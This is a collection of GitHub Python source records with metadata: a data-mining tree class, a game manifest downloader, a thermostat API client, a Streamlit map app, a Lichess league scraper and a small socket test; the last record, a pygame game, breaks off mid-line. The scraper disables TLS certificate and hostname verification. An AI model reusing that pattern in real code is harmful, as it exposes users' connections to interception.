"usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 213, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 213, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 214, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 214, "usage_type": "name"}, {"api_name": "common.DIRECTIONS", "line_number": 224, "usage_type": "attribute"}]} {"seq_id": "36400433689", "text": "from __future__ import absolute_import\n\nfrom asyncio import Queue\nfrom typing import List\n\nfrom models.tree import Tree\nfrom logic.input import RecordDetails\n\n\nclass RecordTreeNode:\n def __init__(self, node: Tree) -> None:\n self.strings: List[str] = []\n for field in node.fields:\n if field not in [RecordDetails.RECORD_ID, RecordDetails.TRANSACTION_ID, RecordDetails.PARENT_ID]:\n self.strings.append(str(field) + \" = \" + str(node.fields[field]))\n\n def __eq__(self, o: object) -> bool:\n if not isinstance(o, RecordTreeNode):\n return False\n return set(self.strings) == set(o.strings)\n\n def __hash__(self) -> int:\n return hash(frozenset(self.strings))\n\n def __repr__(self) -> str:\n return str(self.strings)\n\n\nclass RecordTree:\n \"\"\"\n Representation of a tree as a list of strings (the fields of each record) and a distance (from the root node)\n \"\"\"\n def __init__(self, transaction: Tree) -> None:\n \"\"\"\n Transform a transaction into a decomposed lists of string and distances\n :param transaction:\n \"\"\"\n self.fields: List[RecordTreeNode] = []\n self.distances: List[int] = []\n queue = Queue()\n queue.put_nowait((transaction, 0))\n while not queue.empty():\n node, length = queue.get_nowait()\n for child in node.children:\n queue.put_nowait((child, length + 1))\n self.fields.append(RecordTreeNode(node))\n self.distances.append(length)\n\n def get_node(self, index: int) -> (RecordTreeNode, int):\n \"\"\"\n Get the i-th node of the tree\n :param index: index of the node, ordered as a BFS visit\n :return: the couple \n \"\"\"\n if index < 0 or index >= len(self.fields):\n raise ValueError(\"Invalid index. Given %d, max %d\" % (index, len(self.fields)))\n return self.fields[index], self.distances[index]\n\n def __iter__(self):\n self._i = 0\n return self\n\n def __next__(self):\n if self._i == len(self.fields):\n raise StopIteration\n else:\n item = (self.fields[self._i], self.distances[self._i])\n self._i += 1\n return item\n", "repo_name": "nicolopomini/DataMiningCode", "sub_path": "src/models/itemset.py", "file_name": "itemset.py", "file_ext": "py", "file_size_in_byte": 2309, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "models.tree.Tree", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 12, "usage_type": "name"}, {"api_name": "logic.input.RecordDetails.RECORD_ID", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logic.input.RecordDetails", "line_number": 14, "usage_type": "name"}, {"api_name": "logic.input.RecordDetails.TRANSACTION_ID", "line_number": 14, "usage_type": "attribute"}, {"api_name": "logic.input.RecordDetails.PARENT_ID", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.tree.Tree", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 39, "usage_type": "name"}, {"api_name": "asyncio.Queue", "line_number": 40, "usage_type": "call"}]} {"seq_id": "42708279386", "text": "import logging\nfrom pathlib import Path\nfrom subprocess import check_output\n\nimport aiobungie\n\nlogging.basicConfig(\n format='{asctime} | {name} | {levelname} | {message}',\n datefmt='%Y-%m-%d %H:%M:%S',\n style='{',\n level=logging.INFO\n)\n\nMANIFEST_DATA = Path(__file__).parent / '../manifest.sqlite3'\nMANIFEST_VERSION = Path(__file__).parent / '../version.txt'\napi_key = check_output('echo $API_KEY', shell=True).decode('utf-8').strip()\nif api_key == '':\n raise KeyError(\"Cannot find env var: 'API_KEY'\")\nAIO_CLIENT = aiobungie.Client(api_key)\n\nasync def check_manifest():\n '''Handles the manifest data'''\n # if it doesn't exist, go get it and save the version\n if not MANIFEST_DATA.exists():\n async with AIO_CLIENT.rest:\n await AIO_CLIENT.rest.download_manifest(path=MANIFEST_DATA.parent)\n remote_version = await AIO_CLIENT.rest.fetch_manifest_version()\n with MANIFEST_VERSION.open('w') as f:\n f.write(remote_version)\n # if it does exist, check the version against remote\n else:\n assert MANIFEST_VERSION.exists()\n with MANIFEST_VERSION.open() as f:\n local_version = f.read()\n async with AIO_CLIENT.rest:\n remote_version = await AIO_CLIENT.rest.fetch_manifest_version()\n # if remote version is different, assume newer data available and redownload\n if remote_version != local_version:\n MANIFEST_DATA.unlink()\n await AIO_CLIENT.rest.download_manifest(path=MANIFEST_DATA.parent)\n with MANIFEST_VERSION.open('w') as f:\n f.write(remote_version)\n return\n\nif __name__ == '__main__':\n AIO_CLIENT.run(check_manifest())\n", "repo_name": "hanzov69/triumph-tracker-service", "sub_path": "docker/app/backend/manifest-destiny.py", "file_name": "manifest-destiny.py", "file_ext": "py", "file_size_in_byte": 1721, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.basicConfig", "line_number": 7, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 14, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 16, "usage_type": "call"}, {"api_name": "aiobungie.Client", "line_number": 19, "usage_type": "call"}]} {"seq_id": "43384631397", "text": "import contextlib\nimport copy\nimport datetime\nimport logging\nimport requests\nimport time\n\n\n_LOG = logging.getLogger('somecomfort')\nFAN_MODES = ['auto', 'on', 'circulate', 'follow schedule']\nSYSTEM_MODES = ['emheat', 'heat', 'off', 'cool', 'auto', 'auto']\nHOLD_TYPES = ['schedule', 'temporary', 'permanent']\nEQUIPMENT_OUTPUT_STATUS = ['off/fan', 'heat', 'cool']\n\n\nclass SomeComfortError(Exception):\n pass\n\n\nclass ConnectionTimeout(SomeComfortError):\n pass\n\n\nclass ConnectionError(SomeComfortError):\n pass\n\n\nclass AuthError(SomeComfortError):\n pass\n\n\nclass APIError(SomeComfortError):\n pass\n\n\nclass APIRateLimited(APIError):\n def __init__(self):\n super(APIRateLimited, self).__init__(\n 'You are being rate-limited. Try waiting a bit.')\n\n\nclass SessionTimedOut(SomeComfortError):\n pass\n\n\ndef _convert_errors(fn):\n def wrapper(*args, **kwargs):\n try:\n return fn(*args, **kwargs)\n except requests.exceptions.Timeout:\n raise ConnectionTimeout()\n except requests.exceptions.ConnectionError:\n raise ConnectionError()\n return wrapper\n\n\ndef _hold_quarter_hours(deadline):\n if deadline.minute not in (0, 15, 30, 45):\n raise SomeComfortError('Invalid time: must be on a 15-minute boundary')\n return int(((deadline.hour * 60) + deadline.minute) / 15)\n\n\ndef _hold_deadline(quarter_hours):\n minutes = quarter_hours * 15\n return datetime.time(hour=int(minutes / 60), minute=minutes % 60)\n\n\nclass Device(object):\n def __init__(self, client, location):\n self._client = client\n self._location = location\n self._data = {}\n self._last_refresh = 0\n self._alive = None\n self._commslost = None\n\n @classmethod\n def from_location_response(cls, client, location, response):\n self = cls(client, location)\n self._deviceid = response['DeviceID']\n self._macid = response['MacID']\n self._name = response['Name']\n self.refresh()\n return self\n\n def refresh(self):\n data = self._client._get_thermostat_data(self.deviceid)\n if not data['success']:\n raise APIError('API reported failure to query device %s' % (\n self.deviceid))\n self._alive = data['deviceLive']\n self._commslost = data['communicationLost']\n self._data = data['latestData']\n self._last_refresh = time.time()\n\n @property\n def deviceid(self):\n \"\"\"The device identifier\"\"\"\n return self._deviceid\n\n @property\n def mac_address(self):\n \"\"\"The MAC address of the device\"\"\"\n return self._macid\n\n @property\n def name(self):\n \"\"\"The user-set name of this device\"\"\"\n return self._name\n\n @property\n def is_alive(self):\n \"\"\"A boolean indicating whether the device is connected\"\"\"\n return self._alive and not self._commslost\n\n @property\n def fan_running(self):\n \"\"\"Returns a boolean indicating the current state of the fan\"\"\"\n if self._data['hasFan']:\n return self._data['fanData']['fanIsRunning']\n else:\n return False\n\n @property\n def fan_mode(self):\n \"\"\"Returns one of FAN_MODES indicating the current setting\"\"\"\n try:\n return FAN_MODES[self._data['fanData']['fanMode']]\n except (KeyError, TypeError, IndexError):\n if self._data['hasFan']:\n raise APIError(\n 'Unknown fan mode %i' % self._data['fanData']['fanMode'])\n else:\n return None\n\n @fan_mode.setter\n def fan_mode(self, mode):\n try:\n mode_index = FAN_MODES.index(mode)\n except ValueError:\n raise SomeComfortError('Invalid fan mode `%s`' % mode)\n\n key = 'fanMode%sAllowed' % mode.title()\n if not self._data['fanData'][key]:\n raise SomeComfortError('Device does not support %s' % mode)\n self._client._set_thermostat_settings(\n self.deviceid, {'FanMode': mode_index})\n self._data['fanData']['fanMode'] = mode_index\n\n @property\n def system_mode(self):\n \"\"\"Returns one of SYSTEM_MODES indicating the current setting\"\"\"\n try:\n return SYSTEM_MODES[self._data['uiData']['SystemSwitchPosition']]\n except KeyError:\n raise APIError(\n 'Unknown system mode %i' % (\n self._data['uiData']['SystemSwitchPosition']))\n\n @system_mode.setter\n def system_mode(self, mode):\n try:\n mode_index = SYSTEM_MODES.index(mode)\n except ValueError:\n raise SomeComfortError('Invalid system mode `%s`' % mode)\n\n key = 'Switch%sAllowed' % mode.title()\n if not self._data['uiData'][key]:\n raise SomeComfortError('Device does not support %s' % mode)\n self._client._set_thermostat_settings(\n self.deviceid, {'SystemSwitch': mode_index})\n self._data['uiData']['SystemSwitchPosition'] = mode_index\n\n @property\n def setpoint_cool(self):\n \"\"\"The target temperature when in cooling mode\"\"\"\n return self._data['uiData']['CoolSetpoint']\n\n @setpoint_cool.setter\n def setpoint_cool(self, temp):\n lower = self._data['uiData']['CoolLowerSetptLimit']\n upper = self._data['uiData']['CoolUpperSetptLimit']\n if temp > upper or temp < lower:\n raise SomeComfortError('Setpoint outside range %.1f-%.1f' % (\n lower, upper))\n self._client._set_thermostat_settings(self.deviceid,\n {'CoolSetpoint': temp})\n self._data['uiData']['CoolSetpoint'] = temp\n\n @property\n def setpoint_heat(self):\n \"\"\"The target temperature when in heating mode\"\"\"\n return self._data['uiData']['HeatSetpoint']\n\n @setpoint_heat.setter\n def setpoint_heat(self, temp):\n lower = self._data['uiData']['HeatLowerSetptLimit']\n upper = self._data['uiData']['HeatUpperSetptLimit']\n if temp > upper or temp < lower:\n raise SomeComfortError('Setpoint outside range %.1f-%.1f' % (\n lower, upper))\n self._client._set_thermostat_settings(self.deviceid,\n {'HeatSetpoint': temp})\n self._data['uiData']['HeatSetpoint'] = temp\n\n def _get_hold(self, which):\n try:\n hold = HOLD_TYPES[self._data['uiData']['Status%s' % which]]\n except KeyError:\n raise APIError('Unknown hold mode %i' % (\n self._data['uiData']['Status%s' % which]))\n period = self._data['uiData']['%sNextPeriod' % which]\n if hold == 'schedule':\n return False\n elif hold == 'permanent':\n return True\n else:\n return _hold_deadline(period)\n\n def _set_hold(self, which, hold):\n if hold is True:\n settings = {\n 'Status%s' % which: HOLD_TYPES.index('permanent'),\n '%sNextPeriod' % which: 0,\n }\n elif hold is False:\n settings = {\n 'Status%s' % which: HOLD_TYPES.index('schedule'),\n '%sNextPeriod' % which: 0,\n }\n elif isinstance(hold, datetime.time):\n qh = _hold_quarter_hours(hold)\n settings = {\n 'Status%s' % which: HOLD_TYPES.index('temporary'),\n '%sNextPeriod' % which: qh,\n }\n else:\n raise SomeComfortError(\n 'Hold should be True, False, or datetime.time')\n\n self._client._set_thermostat_settings(self.deviceid, settings)\n self._data['uiData'].update(settings)\n\n @property\n def hold_heat(self):\n return self._get_hold('Heat')\n\n @hold_heat.setter\n def hold_heat(self, value):\n self._set_hold('Heat', value)\n\n @property\n def hold_cool(self):\n return self._get_hold('Cool')\n\n @hold_cool.setter\n def hold_cool(self, value):\n self._set_hold('Cool', value)\n\n @property\n def current_temperature(self):\n \"\"\"The current measured ambient temperature\"\"\"\n return self._data['uiData']['DispTemperature']\n\n @property\n def current_humidity(self):\n \"\"\"The current measured ambient humidity\"\"\"\n return self._data['uiData']['IndoorHumidity']\n\n @property\n def equipment_output_status(self):\n \"\"\"The current equipment output status\"\"\"\n if self._data['uiData']['EquipmentOutputStatus'] in (0, None):\n if self.fan_running:\n return \"fan\"\n else:\n return \"off\"\n return EQUIPMENT_OUTPUT_STATUS[self._data['uiData']['EquipmentOutputStatus']]\n\n @property\n def outdoor_temperature(self):\n \"\"\"The current measured outdoor temperature\"\"\"\n if self._data['uiData']['OutdoorTemperatureAvailable'] == True:\n return self._data['uiData']['OutdoorTemperature']\n return None\n\n @property\n def outdoor_humidity(self):\n \"\"\"The current measured outdoor humidity\"\"\"\n if self._data['uiData']['OutdoorHumidityAvailable'] == True:\n return self._data['uiData']['OutdoorHumidity']\n return None\n\n @property\n def temperature_unit(self):\n \"\"\"The temperature unit currently in use. Either 'F' or 'C'\"\"\"\n return self._data['uiData']['DisplayUnits']\n\n @property\n def raw_ui_data(self):\n \"\"\"The raw uiData structure from the API.\n\n Note that this is read only!\n \"\"\"\n return copy.deepcopy(self._data['uiData'])\n\n @property\n def raw_fan_data(self):\n \"\"\"The raw fanData structure from the API.\n\n Note that this is read only!\n \"\"\"\n return copy.deepcopy(self._data['fanData'])\n\n @property\n def raw_dr_data(self):\n \"\"\"The raw drData structure from the API.\n\n Note that this is read only!\n \"\"\"\n return copy.deepcopy(self._data['drData'])\n\n def __repr__(self):\n return 'Device<%s:%s>' % (self.deviceid, self.name)\n\n\nclass Location(object):\n def __init__(self, client):\n self._client = client\n self._devices = {}\n self._locationid = 'unknown'\n\n @classmethod\n def from_api_response(cls, client, api_response):\n self = cls(client)\n self._locationid = api_response['LocationID']\n devices = api_response['Devices']\n _devices = [Device.from_location_response(client, self, dev)\n for dev in devices]\n self._devices = {dev.deviceid: dev for dev in _devices}\n return self\n\n @property\n def devices_by_id(self):\n \"\"\"A dict of devices indexed by DeviceID\"\"\"\n return self._devices\n\n @property\n def devices_by_name(self):\n \"\"\"A dict of devices indexed by name.\n\n Note that if you have multiple devices with the same name,\n this may not return them all!\n \"\"\"\n return {dev.name: dev for dev in self._devices}\n\n @property\n def locationid(self):\n \"\"\"The location identifier\"\"\"\n return self._locationid\n\n def __repr__(self):\n return 'Location<%s>' % self.locationid\n\n\nclass SomeComfort(object):\n def __init__(self, username, password, timeout=30,\n session=None):\n self._username = username\n self._password = password\n self._session = session or self._get_session()\n self._session.headers['X-Requested-With'] = 'XMLHttpRequest'\n self._timeout = timeout\n self._locations = {}\n self._baseurl = 'https://www.mytotalconnectcomfort.com/portal'\n self._default_url = self._baseurl\n try:\n # Something changed recently, so just always act like we're\n # timed out on startup\n raise SessionTimedOut()\n self.keepalive()\n except SessionTimedOut:\n self._session.cookies.clear()\n self._login()\n self._discover()\n\n @staticmethod\n def _get_session():\n return requests.Session()\n\n @_convert_errors\n def _login(self):\n self._session.get(self._baseurl, timeout=self._timeout)\n params = {'UserName': self._username,\n 'Password': self._password,\n 'RememberMe': 'false',\n 'timeOffset': 480}\n resp = self._session.post(self._baseurl, params=params,\n timeout=self._timeout)\n if resp.status_code != 200:\n # This never seems to happen currently, but\n # I'll leave it here in case they start doing the\n # right thing.\n _LOG.error('Login as %s failed', self._username)\n raise AuthError('Login failed')\n\n self._default_url = resp.url\n\n # Try a keepalive to see if we're _really_ logged in\n try:\n self.keepalive()\n except SessionTimedOut:\n _LOG.error('Login as %s failed', self._username)\n raise AuthError('Login failed')\n\n @staticmethod\n def _resp_json(resp, req):\n try:\n return resp.json()\n except:\n # Any error doing this is probably because we didn't\n # get JSON back (the API is terrible about this).\n _LOG.exception('Failed to de-JSON %s response' % req)\n raise APIError('Failed to process %s response', req)\n\n def _request_json(self, method, *args, **kwargs):\n if 'timeout' not in kwargs:\n kwargs['timeout'] = self._timeout\n\n resp = getattr(self._session, method)(*args, **kwargs)\n req = args[0].replace(self._baseurl, '')\n\n if resp.status_code == 200:\n return self._resp_json(resp, req)\n elif resp.status_code == 401:\n raise APIRateLimited()\n else:\n _LOG.error('API returned %i from %s request',\n resp.status_code, req)\n raise APIError('Unexpected %i response from API' % (\n resp.status_code))\n\n def _get_json(self, *args, **kwargs):\n return self._request_json('get', *args, **kwargs)\n\n def _post_json(self, *args, **kwargs):\n return self._request_json('post', *args, **kwargs)\n\n @contextlib.contextmanager\n def _retries_login(self):\n try:\n self.keepalive()\n except SessionTimedOut:\n self._login()\n\n yield\n\n def _get_locations(self):\n url = '%s/Location/GetLocationListData' % self._baseurl\n params = {'page': 1,\n 'filter': ''}\n with self._retries_login():\n return self._post_json(url, params=params)\n\n def _get_thermostat_data(self, thermostat_id):\n url = '%s/Device/CheckDataSession/%s' % (self._baseurl, thermostat_id)\n with self._retries_login():\n return self._get_json(url)\n\n def _set_thermostat_settings(self, thermostat_id, settings):\n data = {'SystemSwitch': None,\n 'HeatSetpoint': None,\n 'CoolSetpoint': None,\n 'HeatNextPeriod': None,\n 'CoolNextPeriod': None,\n 'StatusHeat': None,\n 'DeviceID': thermostat_id,\n }\n data.update(settings)\n url = '%s/Device/SubmitControlScreenChanges' % self._baseurl\n with self._retries_login():\n result = self._post_json(url, data=data)\n if result.get('success') != 1:\n raise APIError('API rejected thermostat settings')\n\n def keepalive(self):\n \"\"\"Makes a keepalive request to avoid session timeout.\n\n Raises SessionTimedOut if the session has timed out.\n \"\"\"\n url = self._default_url\n resp = self._session.get(url, timeout=self._timeout)\n if resp.status_code != 200:\n _LOG.info('Session timed out')\n raise SessionTimedOut('Session timed out')\n _LOG.info('Session refreshed')\n\n @_convert_errors\n def _discover(self):\n raw_locations = self._get_locations()\n for raw_location in raw_locations:\n try:\n location = Location.from_api_response(self, raw_location)\n except KeyError as ex:\n _LOG.error(('Failed to process location `%s`: '\n 'missing %s element'),\n raw_location.get('LocationID', 'unknown'),\n ex.args[0])\n self._locations[location.locationid] = location\n\n @property\n def locations_by_id(self):\n \"\"\"A dict of all locations indexed by id\"\"\"\n return self._locations\n\n @property\n def default_device(self):\n \"\"\"This is the first device found.\n\n It is only useful if the account has only one device and location\n in your account (which is pretty common). It is None if there\n are no devices in the account.\n \"\"\"\n for location in self.locations_by_id.values():\n for device in location.devices_by_id.values():\n return device\n return None\n\n def get_device(self, device_id):\n \"\"\"Find a device by id.\n\n :returns: None if not found.\n \"\"\"\n for location in self.locations_by_id.values():\n for ident, device in location.devices_by_id.items():\n if ident == device_id:\n return device\n", "repo_name": "haynieresearch/jarvis", "sub_path": "deps/lib/python3.4/site-packages/somecomfort/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 17353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 87, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 50, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 52, "usage_type": "attribute"}, {"api_name": "datetime.time", "line_number": 65, "usage_type": "call"}, {"api_name": "time.time", "line_number": 94, "usage_type": "call"}, {"api_name": "datetime.time", "line_number": 231, "usage_type": "attribute"}, {"api_name": "copy.deepcopy", "line_number": 305, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 313, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 321, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 389, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 449, "usage_type": "attribute"}]} {"seq_id": "71084040893", "text": "import streamlit as st \nimport pandas as pd\nimport numpy as np\n\nst.title('Cicle Rides in NYC')\n\nDATA_URL = ('citibike-tripdata.csv')\nDATE_COLUMN = 'started_at'\n\n@st.cache_data\ndef load_data(nrows):\n data = pd.read_csv(DATA_URL, nrows=nrows)\n lowercase = lambda x: str(x).lower()\n data.rename({'start_lat': 'lat', 'start_lng': 'lon'}, axis=1, inplace=True)\n data[DATE_COLUMN] = pd.to_datetime(data[DATE_COLUMN])\n return data \n\ndata_load_state = st.text('Loading data...')\ndata = load_data(500)\ndata_load_state.text('Done! (using cache...)')\n\n\n#Side\n\nsidebar = st.sidebar\nsidebar.image('img.jpeg')\nsidebar.header('Yahir Jesus Jacome Cogco')\nsidebar.header('S20006732')\nsidebar.header('zs20006732@estudiantes.uv.mx')\n\nagree = sidebar.checkbox(\"Show raw data\")\nif agree:\n st.header(\"Raw data\")\n st.dataframe(data)\n\n#Hist\n\nif st.sidebar.checkbox('Recorridos por hora'):\n st.subheader('Numero de recorridos por hora')\n\n hist_values = np.histogram(data[DATE_COLUMN].dt.hour, bins=24, range=(0,24))[0]\n st.bar_chart(hist_values)\n\n#Map\n\nhour_to_filter = st.sidebar.slider('hour', 0, 23, 17)\nfiltered_data = data[data[DATE_COLUMN].dt.hour == hour_to_filter]\n\nst.subheader('Mapa de recorridos iniciados a las %s:00' % hour_to_filter)\nst.map(filtered_data)\n", "repo_name": "YACRUZ/Streamlit", "sub_path": "cicle-ride.py", "file_name": "cicle-ride.py", "file_ext": "py", "file_size_in_byte": 1276, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "streamlit.title", "line_number": 5, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 12, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 15, "usage_type": "call"}, {"api_name": "streamlit.cache_data", "line_number": 10, "usage_type": "attribute"}, {"api_name": "streamlit.text", "line_number": 18, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 25, "usage_type": "attribute"}, {"api_name": "streamlit.header", "line_number": 33, "usage_type": "call"}, {"api_name": "streamlit.dataframe", "line_number": 34, "usage_type": "call"}, {"api_name": "streamlit.sidebar.checkbox", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 38, "usage_type": "attribute"}, {"api_name": "streamlit.subheader", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.histogram", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.bar_chart", "line_number": 42, "usage_type": "call"}, {"api_name": "streamlit.sidebar.slider", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 46, "usage_type": "attribute"}, {"api_name": "streamlit.subheader", "line_number": 49, "usage_type": "call"}, {"api_name": "streamlit.map", "line_number": 50, "usage_type": "call"}]} {"seq_id": "17977419998", "text": "\"\"\" Gets all the information on the lichess4545 league \"\"\"\nimport re\nimport ssl\nimport sys\nimport json\nfrom bs4 import BeautifulSoup\nfrom urllib import request, parse, error\nfrom Utilities import Season, Tournament, Team, get_all_seasons\n\n# Globals\nLICHESS4545_URL = 'https://www.lichess4545.com'\n\n# SSL Certificates\nCTX = ssl.create_default_context()\nCTX.check_hostname = False\nCTX.verify_mode = ssl.CERT_NONE\n\n# Functions\ndef fancy_fractions(str):\n \"\"\" Convert a fancy looking fraction to a float (only works for halfs)\n\n args:\n str (string): The string to Convert\n \"\"\"\n if '½' in str:\n if str[:-1]:\n return float(str[:-1]) + 0.5\n else:\n return 0.5\n else:\n return float(str)\n\n# Class for Tracking a 4545 league season\nclass Lichess:\n def set_season(self, season_number):\n \"\"\" Initializes the league\n\n args:\n season_number (int): The season number\n \"\"\"\n self.season = Season('Chess', f'Season {season_number}', None, 7, 100)\n self.season_number = season_number\n\n def get_seasons(self):\n \"\"\" Returns a list of seasons that haven't been processed\"\"\"\n result = request.urlopen(\n f'{LICHESS4545_URL}/team4545/season/1/summary/',\n context=CTX)\n beautiful_result = BeautifulSoup(result, 'html.parser')\n seasons = [int(season.get_text().strip().split()[1])\n for season in beautiful_result.find_all(\n 'ul', {'class': 'dropdown-menu'})[-1].find_all('li')[2:]]\n run_seasons = [int(season[0].split()[1]) for season in get_all_seasons()]\n return set(seasons).difference(set(run_seasons))\n\n def get_season(self):\n \"\"\" Get a season\"\"\"\n result = request.urlopen(\n f'{LICHESS4545_URL}/team4545/season/{self.season_number}/pairings',\n context=CTX)\n round_results = BeautifulSoup(result, 'html.parser')\n\n # Get all team names TODO: Fix round ordering\n round_results_ordered = sorted(\n [round_result.get('href', '')\n for round_result in round_results.find_all('a')\n if re.fullmatch('/team4545/season/[0-9]+/round/[0-9]+/pairings/',\n round_result.get('href', ''))],\n key=lambda x: int(x.split('/')[5]))\n for team in round_results_ordered:\n # Get the round results\n opponents = BeautifulSoup(request.urlopen(\n f\"{LICHESS4545_URL}{team}\",\n context=CTX),\n 'html.parser'\n )\n # Collect the round results\n tournament_name = f\"Round {team.split('/')[5]}\"\n if tournament_name in self.season.tournaments:\n continue\n self.season.create_tournament(tournament_name)\n team_names = [opponent.get_text().strip()\n for opponent in opponents.find_all('a', {'class': 'team-link'}\n )]\n results = [fancy_fractions(score.get_text().strip())\n for score in opponents.find_all('th', {'class': 'cell-score'}\n )]\n # Insert the round results into the season\n for i in range(int(len(team_names)/2)):\n self.season.create_round(\n team_names[2*i],\n team_names[2*i+1],\n results[2*i],\n results[2*i] + results[2*i+1],\n tournament_name\n )\n self.season.calculate_elo(tournament_name)\n self.season.glicko()\n results = [(team_name, team.elo, team.history) for team_name, team in self.season.teams.items()]\n results = sorted(results, key=lambda x: x[1])[::-1]\n # json.dump(results, open('results.txt', 'w'), indent=4)\n\ndef main():\n # Get the season numbers\n chess = Lichess()\n seasons = chess.get_seasons()\n for season in seasons:\n chess.set_season(season)\n chess.get_season()\n\nif __name__ == '__main__':\n main()\n", "repo_name": "jsilve12/Ranking", "sub_path": "Ranking/Activities/chess.py", "file_name": "chess.py", "file_ext": "py", "file_size_in_byte": 4085, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "ssl.create_default_context", "line_number": 14, "usage_type": "call"}, {"api_name": "ssl.CERT_NONE", "line_number": 16, "usage_type": "attribute"}, {"api_name": "Utilities.Season", "line_number": 41, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 46, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 46, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 49, "usage_type": "call"}, {"api_name": "Utilities.get_all_seasons", "line_number": 53, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 58, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 58, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 61, "usage_type": "call"}, {"api_name": "re.fullmatch", "line_number": 67, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 72, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 72, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 72, "usage_type": "name"}]} {"seq_id": "20551435199", "text": "#!/usr/bin/env python\nimport sys\nimport json\nimport socket\n\ndef main():\n (_, host, ports, context) = sys.argv\n print(\"CONTEXT: {}\".format(json.dumps(json.loads(context), indent=2)))\n print(\"HOST: {}\".format(host))\n print(\"PORTS: {}\".format(json.dumps(json.loads(ports), indent=2)))\n ports = json.loads(ports)\n context = json.loads(context)\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((host, int(ports['8080/tcp'])))\n s.sendall('SAlut les connards'.encode('utf-8'))\n s.close()\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "quanta-computing/quanta-php-module", "sub_path": "qa/specs/toto/test2.py", "file_name": "test2.py", "file_ext": "py", "file_size_in_byte": 567, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 7, "usage_type": "attribute"}, {"api_name": "json.dumps", "line_number": 8, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 8, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 10, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 11, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 12, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 13, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 13, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 13, "usage_type": "attribute"}]} {"seq_id": "41560531634", "text": "#imports\nimport pygame\nfrom pygame.locals import *\nfrom pygame import mixer\nimport pickle\nfrom os import path\n\n#inicio do programa\npygame.mixer.pre_init(44100, -16, 2, 512)\nmixer.init()\npygame.init()\n\ntemporizador = pygame.time.Clock()\nfps = 60\nlargura = 720\naltura = 720\ntela = pygame.display.set_mode((largura, altura))\n\npygame.display.set_caption('Jumping Tile')\n\n#Definir as fontes de textos\nfonte_nome = pygame.font.SysFont('Raleway Black Italic', 30)\nfonte = pygame.font.SysFont('Bauhaus 93', 70)\nfonte_pontuacao = pygame.font.SysFont('Bauhaus 93', 30)\n\n#Definir as variaveis do jogo\ntamanho_do_ladrilho = 36\ngame_over = 0\nmain_menu = True\nlevel = 1\npontuacao = 0\n\n#Definir cores\nbranco = (255, 255, 255)\nazul = (0, 0, 255)\nvermelho = (255, 0, 0)\n\n\n#CARREGAR IMAGENS:\nlogo_jogo = pygame.image.load('img/logotipo.png')\nlogo_escala = pygame.transform.scale(logo_jogo, (350, 350))\nlua_img = pygame.image.load('img/lua.png')\nlua_escala = pygame.transform.scale(lua_img, (80, 80))\nbg_img = pygame.image.load('img/bg_noite.jpg')\nreiniciar_imagem = pygame.image.load('img/restart_btn.png')\nstart_img = 